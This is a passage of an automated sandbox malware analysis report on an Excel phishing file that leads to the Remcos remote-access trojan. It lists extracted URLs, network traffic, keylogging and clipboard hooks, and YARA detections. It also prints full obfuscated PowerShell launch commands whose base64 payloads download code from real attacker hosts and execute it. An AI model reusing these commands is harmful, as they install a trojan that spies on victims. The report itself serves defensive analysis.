                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
                Source: mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ljg.cl/
                Source: mshta.exe, 0000000C.00000003.495976520.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ljg.cl/DE7-
                Source: mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ljg.cl/K
                Source: mshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.0000000000565000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ljg.cl/PAT
                Source: mshta.exe, 0000000C.00000003.491496618.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.000000000032A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000366000.00000004.00000020.00020000.00000000.sdmp, Sipari#U015f_listesi.xls, AD430000.0.drString found in binary or memory: https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&pl
                Source: CasPol.exeString found in binary or memory: https://login.yahoo.com/config/login
                Source: powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://s.yimg.com/lo/api/res/1.2/cKqYjmGd5NGRXh6Xptm6Yg--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A6E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A69F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496534969.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
                Source: CasPol.exe, 0000001E.00000002.560550328.000000000249A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000001E.00000002.560572848.000000000253A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://www.ccleaner.com/go/app_cc_pro_trialkey
                Source: CasPol.exe, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: CasPol.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
                Source: unknownNetwork traffic detected: HTTP traffic on port 49163 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49167
                Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49165
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49163
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49174
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49173
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49171
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49170
                Source: unknownNetwork traffic detected: HTTP traffic on port 49170 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49167 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49171 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49173 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49174 -> 443
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49163 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49165 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49171 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49170 version: TLS 1.2

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004099E4 SetWindowsHookExA 0000000D,004099D0,0000000029_2_004099E4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,29_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,29_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,30_2_0040987A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,30_2_004098E2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,31_2_00406DFC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,31_2_00406E9F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,32_2_004068B5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,32_2_004072B5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,29_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,29_2_00409B10
                Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR

                Spam, unwanted Advertisements and Ransom Demands

                barindex
                Contains functionalty to change the wallpaper
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041BB77 SystemParametersInfoW,29_2_0041BB77

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 1484, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 2460, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Excel sheet contains many unusual embedded objects
                Source: Sipari#U015f_listesi.xlsOLE: Microsoft Excel 2007+
                Source: Sipari#U015f_listesi.xlsOLE: Microsoft Excel 2007+
                Source: AD430000.0.drOLE: Microsoft Excel 2007+
                Source: AD430000.0.drOLE: Microsoft Excel 2007+
                Microsoft Office drops suspicious files
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].htaJump to behavior
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
                Wscript starts Powershell (via cmd or directly)
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
